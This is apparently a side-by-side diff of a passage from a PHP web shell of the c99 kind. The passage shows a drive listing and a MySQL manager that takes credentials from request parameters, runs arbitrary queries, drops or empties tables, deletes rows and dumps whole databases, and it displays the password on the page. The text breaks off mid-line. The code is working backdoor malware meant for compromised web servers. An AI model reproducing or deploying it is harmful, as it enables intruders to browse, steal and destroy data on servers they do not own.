| 923 | if (!$bool) {$bool = is_dir($letter.":\\");} | 923 | if (!$bool) {$bool = is_dir($letter.":\\");} |
| 924 | if ($bool) | 924 | if ($bool) |
| 925 | { | 925 | { |
| 926 | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; | 926 | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; |
| 927 | if ($letter.":" != $v) {$letters .= $letter;} | 927 | if ($letter.":" != $v) {$letters .= $letter;} |
| 928 | else {$letters .= "<font color=green>".$letter."</font>";} | 928 | else {$letters .= "<font color=green>".$letter."</font>";} |
| 929 | $letters .= " ]</a> "; | 929 | $letters .= " ]</a> "; |
| 930 | } | 930 | } |
| 931 | } | 931 | } |
| 932 | if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} | 932 | if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} |
| 933 | } | 933 | } |
| 934 | if (count($quicklaunch) > 0) | 934 | if (count($quicklaunch) > 0) |
| 935 | { | 935 | { |
| 936 | foreach($quicklaunch as $item) | 936 | foreach($quicklaunch as $item) |
| 937 | { | 937 | { |
| 938 | $item[1] = str_replace("%d",urlencode($d),$item[1]); | 938 | $item[1] = str_replace("%d",urlencode($d),$item[1]); |
| 939 | $item[1] = str_replace("%sort",$sort,$item[1]); | 939 | $item[1] = str_replace("%sort",$sort,$item[1]); |
| 940 | $v = realpath($d.".."); | 940 | $v = realpath($d.".."); |
| 941 | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} | 941 | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} |
| 942 | $item[1] = str_replace("%upd",urlencode($v),$item[1]); | 942 | $item[1] = str_replace("%upd",urlencode($v),$item[1]); |
| 943 | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; | 943 | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; |
| 944 | } | 944 | } |
| 945 | } | 945 | } |
| 946 | echo "</p></td></tr></table><br>"; | 946 | echo "</p></td></tr></table><br>"; |
| 947 | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} | 947 | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} |
| 948 | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; | 948 | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; |
| 949 | if ($act == "") {$act = $dspact = "ls";} | 949 | if ($act == "") {$act = $dspact = "ls";} |
| 950 | if ($act == "sql") | 950 | if ($act == "sql") |
| 951 | { | 951 | { |
| 952 | $sql_surl = $surl."act=sql"; | 952 | $sql_surl = $surl."act=sql"; |
| 953 | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} | 953 | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} |
| 954 | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} | 954 | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} |
| 955 | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} | 955 | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} |
| 956 | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} | 956 | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} |
| 957 | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} | 957 | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} |
| 958 | $sql_surl .= "&"; | 958 | $sql_surl .= "&"; |
| 959 | ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php | 959 | ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php |
| 960 | if ($sql_server) | 960 | if ($sql_server) |
| 961 | { | 961 | { |
| 962 | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); | 962 | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); |
| 963 | $err = mysql_smarterror(); | 963 | $err = mysql_smarterror(); |
| 964 | @mysql_select_db($sql_db,$sql_sock); | 964 | @mysql_select_db($sql_db,$sql_sock); |
| 965 | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} | 965 | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} |
| 966 | } | 966 | } |
| 967 | else {$sql_sock = FALSE;} | 967 | else {$sql_sock = FALSE;} |
| 968 | echo "<b>SQL Manager:</b><br>"; | 968 | echo "<b>SQL Manager:</b><br>"; |
| 969 | if (!$sql_sock) | 969 | if (!$sql_sock) |
| 970 | { | 970 | { |
| 971 | if (!$sql_server) {echo "NO CONNECTION";} | 971 | if (!$sql_server) {echo "NO CONNECTION";} |
| 972 | else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} | 972 | else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} |
| 973 | } | 973 | } |
| 974 | else | 974 | else |
| 975 | { | 975 | { |
| 976 | $sqlquicklaunch = array(); | 976 | $sqlquicklaunch = array(); |
| 977 | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); | 977 | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); |
| 978 | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); | 978 | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); |
| 979 | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); | 979 | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); |
| 980 | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); | 980 | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); |
| 981 | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); | 981 | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); |
| 982 | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); | 982 | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); |
| 983 | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; | 983 | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; |
| 984 | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} | 984 | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} |
| 985 | echo "</center>"; | 985 | echo "</center>"; |
| 986 | } | 986 | } |
| 987 | echo "</td></tr><tr>"; | 987 | echo "</td></tr><tr>"; |
| 988 | if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } | 988 | if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } |
| 989 | else | 989 | else |
| 990 | { | 990 | { |
| 991 | //Start left panel | 991 | //Start left panel |
| 992 | if (!empty($sql_db)) | 992 | if (!empty($sql_db)) |
| 993 | { | 993 | { |
| 994 | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php | 994 | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php |
| 995 | $result = mysql_list_tables($sql_db); | 995 | $result = mysql_list_tables($sql_db); |
| 996 | if (!$result) {echo mysql_smarterror();} | 996 | if (!$result) {echo mysql_smarterror();} |
| 997 | else | 997 | else |
| 998 | { | 998 | { |
| 999 | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; | 999 | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; |
| 1000 | $c = 0; | 1000 | $c = 0; |
| 1001 | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} | 1001 | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} |
| 1002 | if (!$c) {echo "No tables found in database.";} | 1002 | if (!$c) {echo "No tables found in database.";} |
| 1003 | } | 1003 | } |
| 1004 | } | 1004 | } |
| 1005 | else | 1005 | else |
| 1006 | { | 1006 | { |
| 1007 | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php | 1007 | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php |
| 1008 | $result = mysql_list_dbs($sql_sock); | 1008 | $result = mysql_list_dbs($sql_sock); |
| 1009 | if (!$result) {echo mysql_smarterror();} | 1009 | if (!$result) {echo mysql_smarterror();} |
| 1010 | else | 1010 | else |
| 1011 | { | 1011 | { |
| 1012 | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php | 1012 | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php |
| 1013 | $c = 0; | 1013 | $c = 0; |
| 1014 | $dbs = ""; | 1014 | $dbs = ""; |
| 1015 | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} | 1015 | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} |
| 1016 | echo "<option value=\"\">Databases (".$c.")</option>"; | 1016 | echo "<option value=\"\">Databases (".$c.")</option>"; |
| 1017 | echo $dbs; | 1017 | echo $dbs; |
| 1018 | } | 1018 | } |
| 1019 | ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php | 1019 | ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php |
| 1020 | } | 1020 | } |
| 1021 | //End left panel | 1021 | //End left panel |
| 1022 | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; | 1022 | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; |
| 1023 | //Start center panel | 1023 | //Start center panel |
| 1024 | $diplay = TRUE; | 1024 | $diplay = TRUE; |
| 1025 | if ($sql_db) | 1025 | if ($sql_db) |
| 1026 | { | 1026 | { |
| 1027 | if (!is_numeric($c)) {$c = 0;} | 1027 | if (!is_numeric($c)) {$c = 0;} |
| 1028 | if ($c == 0) {$c = "no";} | 1028 | if ($c == 0) {$c = "no";} |
| 1029 | echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; | 1029 | echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; |
| 1030 | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} | 1030 | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} |
| 1031 | echo "</b></center>"; | 1031 | echo "</b></center>"; |
| 1032 | $acts = array("","dump"); | 1032 | $acts = array("","dump"); |
| 1033 | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 1033 | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 1034 | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} | 1034 | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} |
| 1035 | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} | 1035 | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} |
| 1036 | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 1036 | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 1037 | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 1037 | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 1038 | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 1038 | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 1039 | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 1039 | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 1040 | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} | 1040 | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} |
| 1041 | elseif ($sql_tbl_act == "insert") | 1041 | elseif ($sql_tbl_act == "insert") |
| 1042 | { | 1042 | { |
| 1043 | if ($sql_tbl_insert_radio == 1) | 1043 | if ($sql_tbl_insert_radio == 1) |
| 1044 | { | 1044 | { |
| 1045 | $keys = ""; | 1045 | $keys = ""; |
| 1046 | $akeys = array_keys($sql_tbl_insert); | 1046 | $akeys = array_keys($sql_tbl_insert); |
| 1047 | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} | 1047 | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} |
| 1048 | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} | 1048 | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} |
| 1049 | $values = ""; | 1049 | $values = ""; |
| 1050 | $i = 0; | 1050 | $i = 0; |
| 1051 | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} | 1051 | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} |
| 1052 | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} | 1052 | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} |
| 1053 | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; | 1053 | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; |
| 1054 | $sql_act = "query"; | 1054 | $sql_act = "query"; |
| 1055 | $sql_tbl_act = "browse"; | 1055 | $sql_tbl_act = "browse"; |
| 1056 | } | 1056 | } |
| 1057 | elseif ($sql_tbl_insert_radio == 2) | 1057 | elseif ($sql_tbl_insert_radio == 2) |
| 1058 | { | 1058 | { |
| 1059 | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); | 1059 | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); |
| 1060 | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; | 1060 | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; |
| 1061 | $result = mysql_query($sql_query) or print(mysql_smarterror()); | 1061 | $result = mysql_query($sql_query) or print(mysql_smarterror()); |
| 1062 | $result = mysql_fetch_array($result, MYSQL_ASSOC); | 1062 | $result = mysql_fetch_array($result, MYSQL_ASSOC); |
| 1063 | $sql_act = "query"; | 1063 | $sql_act = "query"; |
| 1064 | $sql_tbl_act = "browse"; | 1064 | $sql_tbl_act = "browse"; |
| 1065 | } | 1065 | } |
| 1066 | } | 1066 | } |
| 1067 | if ($sql_act == "query") | 1067 | if ($sql_act == "query") |
| 1068 | { | 1068 | { |
| 1069 | echo "<hr size=\"1\" noshade>"; | 1069 | echo "<hr size=\"1\" noshade>"; |
| 1070 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} | 1070 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
| 1071 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | 1071 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
| 1072 | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} | 1072 | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} |
| 1073 | } | 1073 | } |
| 1074 | if (in_array($sql_act,$acts)) | 1074 | if (in_array($sql_act,$acts)) |
| 1075 | { | 1075 | { |
| 1076 | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php | 1076 | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" 